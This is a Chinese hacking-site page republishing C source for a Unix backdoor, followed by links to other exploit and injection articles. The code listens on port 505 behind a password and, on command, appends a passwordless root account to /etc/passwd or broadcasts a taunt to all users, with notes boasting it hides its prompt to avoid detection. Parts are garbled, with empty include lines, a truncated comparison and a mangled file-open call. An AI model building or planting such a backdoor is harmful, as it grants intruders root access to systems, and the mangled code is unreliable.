backdoor病毒珍藏绝密源代码

所属分类: 实用技巧 / 漏洞研究 阅读数: 504
收藏 0 赞 0 分享

--=\\backdoor.c\\=-- /*  
A rip off a sockets tutorial i found somewhere cause I didn’t feel like  
writing stupid basic sockets code when I had it in my src directory  
already.  
*/  

/* Greets:  
Undernet Channels:  
#rootworm, #hacktech, #hyperlink, #3xposure, #legionoot  
Groups:  
The LegionOOT (www.legionoot.cc), Team Sploit  
People:  
Cyph3r, n3m0, Adoni, f0bic, d0g, khe0ps, h-S-t,  
F-o-X, NeonMatrix, Azmodan, & Venomous  
/*  

Usage (setup):  
# gcc -o backdoor backdoor.c  
# ./backdoor password &  
Usage (using):  
telnet to host (port 505) --> type the password (don’t wait for a  
prompt, there isn’t one so its less obvious its a backdoor) -->  
type 1or 2. And yes it’s _supposed_ to disconnect you after  
each command.  
*/  

#include   
#include   
#include   
#include   
#include   
#include   
#include   
#include   
#define PORT 505  
#define MAXDATASIZE 100  
#define BACKLOG 10  

void handle(char *command);  
int main(int argc, char *argv[])  
{  
int sockfd, new_fd, sin_size, numbytes;  
char *bytes;  
struct sockaddr_in my_addr;  
struct sockaddr_in their_addr;  

char buf[MAXDATASIZE];  
char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to  
send ’7h1s b0x 1s 0wn3d’ to all people on the box: ";  
if (argc != 2) {  
fprintf(stderr,"Usage: %s password\n", argv[0]);  
exit(1);  
}  
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {  
perror("socket");  
exit(1);  
}  
my_addr.sin_family = AF_INET;  
my_addr.sin_port = htons(PORT);  
my_addr.sin_addr.s_addr = INADDR_ANY;  
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)  
{  
perror("bind");  
exit(1);  
}  
if (listen(sockfd, BACKLOG) == -1) {  
perror("listen");  
exit(1);  

}  

while(1) { /* main accept() loop */  

sin_size = sizeof(struct sockaddr_in);  
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \  
&sin_size)) ==  
{  
perror("accept");  
continue;  
}  

inet_ntoa(their_addr.sin_addr);  
if (!fork()) {  
recv(new_fd, buf,  
MAXDATASIZE, 0);  
bytes = strstr(buf, argv[1]);  


if (bytes != NULL){  

send(new_fd, ask, sizeof(ask), 0);  

numbytes=recv(new_fd, buf,  
MAXDATASIZE, 0);  
buf[numbytes] = ’\0’;  
handle(buf);  
}  
close(new_fd);  
exit(0);  
}  
close(new_fd);  

while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child  
processes */  
}  
}  

void handle(char *command)  
{  
FILE *fle;  
if(strstr(command, "1") != NULL)  
{  
fle = f0/*n("/etc/passwd", "a*/;  
fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash");  
fclose(fle);  
}  
if(strstr(command, "2") != NULL)  
{  
system("wall 7h1s b0x 1s 0wn3d");  
}  
}  
---------------------------- 

更多精彩内容其他人还在看

MySQL Proxy(解决注入的另一思路)

MySQL Proxy的主要作用是用来做负载均衡,数据库读写分离的。但是需要注意的是,MySQL Proxy还有个强大的扩展功能就是支持Lua语言——魔兽也是使用了Lua来开发游戏,据我所知网易也是——可以参见云风的博客。
收藏 0 赞 0 分享

phpwind管理权限泄露漏洞利用程序发布

phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
收藏 0 赞 0 分享

分析NtGodMode.exe干了什么

NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里,然后搜索特征值8B 4D 0C 49之后第1个32 C0 这个32C0汇编码xor al,al,修改为B001对应汇编码mov al,1 为什么mov al,1,以后就不用密码了?
收藏 0 赞 0 分享

伯乐asp收信程序漏洞及利用程序利用代码

信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 文章作者:fhod 发这个也是因为看了asm所写的新概念收信程序 箱子永远不会被黑
收藏 0 赞 0 分享

字符集导致的浏览器跨站脚本攻击分析

前言:这种利用类型的攻击早在06年就被安全研究人员指出,不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集,所以影响还是比较大,希望各大站快速修复。可以看看http://applesoup.googlepages.com/。
收藏 0 赞 0 分享

Search Engine XSS Worm

作者:余弦 来源:0x37 Security 有挑战才有意思,为了诞生个Search Engine XSS Worm,这里拿yeeyan做实验了。
收藏 0 赞 0 分享

CPU也有远程攻击漏洞 英特尔匆匆修补

BEAREYES.COM 北京 [ 翻译 ] 作者:1000years 日期:2008年08月12日
收藏 0 赞 0 分享

暂时屏蔽 IE 最新 0day的4 种方法

IE 最新 0day 波及了微软全线系统居然在2008年12月14日8:00:15还没有出补丁!我查看微软站点,好像有几个手动操作的办法暂时屏蔽。
收藏 0 赞 0 分享

Sql Server 应用程序的高级Sql注入第1/2页

这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。
收藏 0 赞 0 分享

ASP木马后门新思路

ASP木马后门新思路
收藏 0 赞 0 分享
查看更多